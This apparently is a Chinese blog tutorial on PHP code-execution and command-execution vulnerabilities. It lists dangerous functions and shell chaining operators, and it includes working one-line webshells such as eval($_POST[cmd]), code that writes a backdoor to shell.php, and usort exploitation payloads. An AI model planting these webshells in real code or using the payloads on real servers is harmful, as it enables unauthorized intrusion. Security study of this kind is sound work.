代码执行及命令执行漏洞

 一、代码执行:

在参数,变量等执行地方,更改提交方式,注入畸形代码,出发安全漏洞。主要原因:由于服务器未针对函数的参数做有效过滤操作,导致的漏洞。

1、常见的代码执行函数:

PHP

(1)eval() 

  eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:<?php eval($_POST[cmd])?>

(2)assert()

   与eval类似,字符串被 assert() 当做 PHP 代码来执行、。

示例代码:

<?php 
//?cmd=phpinfo()
assert($_REQUEST[cmd]); 
?>

(3)preg_replace()

  preg_replace ( $pattern ,$replacement , $subject)搜索subject中匹配pattern的部分, 以replacement进行替换。preg_replace()函数原本是执行一个正则表达式的搜索和替换,若pattern中存在/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码。

示例代码:

<?php 
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>

(4)create_function()

  create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

代码示例:

<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

(5)array_map()

  array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

 代码示例:

复制代码
<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>
复制代码

(6)call_user_func()/call_user_func_array ()

  call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

  call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

复制代码
<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php 
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
复制代码

(7)array_filter()

  array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

  依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

复制代码
<?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
复制代码

(8)usort()、uasort()

  usort() 通过用户自定义的比较函数对数组进行排序。

  uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

代码示例:

复制代码
php环境>=5.6才能用
<?php usort(...$_GET);?>
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();

php环境>=<5.6才能用
<?php usort($_GET,'asse'.'rt');?>
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();
复制代码

(9)文件操作函数

  file_put_contents() 函数把一个字符串写入文件中。

  fputs() 函数写入文件

代码示例:

 

复制代码
<?php 
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
<?php 
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); 
?>
复制代码

 

(10)动态函数

  PHP函数直接由字符串拼接

代码示例:

<?php 
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>

2、文件包含导致代码执行

若PHP版本>5.2且allow_url_fopen=on allow_url_include=on,且文件中具备文件包含函数时,此时会产生文件包含漏洞而导致代码执行漏洞。详情请见下个博客。

二、命令执行

原理请见上文。和代码执行不同的是 代码执行的是语言函数,而命令执行主要是和操作系统打交道,

1、管道连接符

windows和Linux共同:

& 前面执行语句假 直接执行后面的语句,若为真则先执行前面的再执行后面

&& 前语句为假则直接报错,不执行后面语句,若为真则先执行前面的再执行后面的

| 前面的命令不执行,直接执行后面的命令

|| 前面的命令出错再执行后面的,否则不执行后面的

linux独有

;执行完前面的再执行后面的

2、命令执行函数

(1)反引号运算符

PHP支持一个执行运算符:反引号``。PHP将尝试将反引号中的内容作为外壳命令执行,并将其输出信息作为返回值返回(即可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符的效果与函数shell_exec()相同。 
反引号运算符在激活了安全模式或者关闭了shell_exec()时是无效的。

(2)exec

string exec ( string $command [, array &$output [, int &$return_var ]] ) 

如果output参数出现的话,该函数会将命令执行的结果一行一行的存入output指定的数组,一行对应数组的一个元素,结尾的空白字符会被省略。注意,如果output已经包含有内容的话,该函数会在这些内容后面追加内容,如果你不想这样,你必须在调用该函数之前,在output上调用unset()。 
return_var保存命令的执行状态。 
该函数返回命令输出的最后一行。

(3)system

输出执行结果,返回最后一行。 
如果PHP运行在服务器模块中,system()函数还会尝试在每行输出完毕之后,自动刷新web服务器的输出缓存。

(4)passthru

执行外部程序并且显示原始输出。同exec()函数类似,passthru()函数也是用来执行外部命令的。当所执行的Unix命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代exec()system()函数。常用来执行诸如pbmplus之类的可以直接输出图像流的命令。(5)

(5)shell_exec

通过shell环境执行命令,并且将完整的输出以字符串的方式返回。该函数会在错误出现或者程序执行没有输出两种情况下返回NULL,也就是说,没有办法通过该函数检测程序执行失败(可以改用exec)。

posted on 2022-03-03 14:43  乒·乓  阅读(609)  评论(0编辑  收藏  举报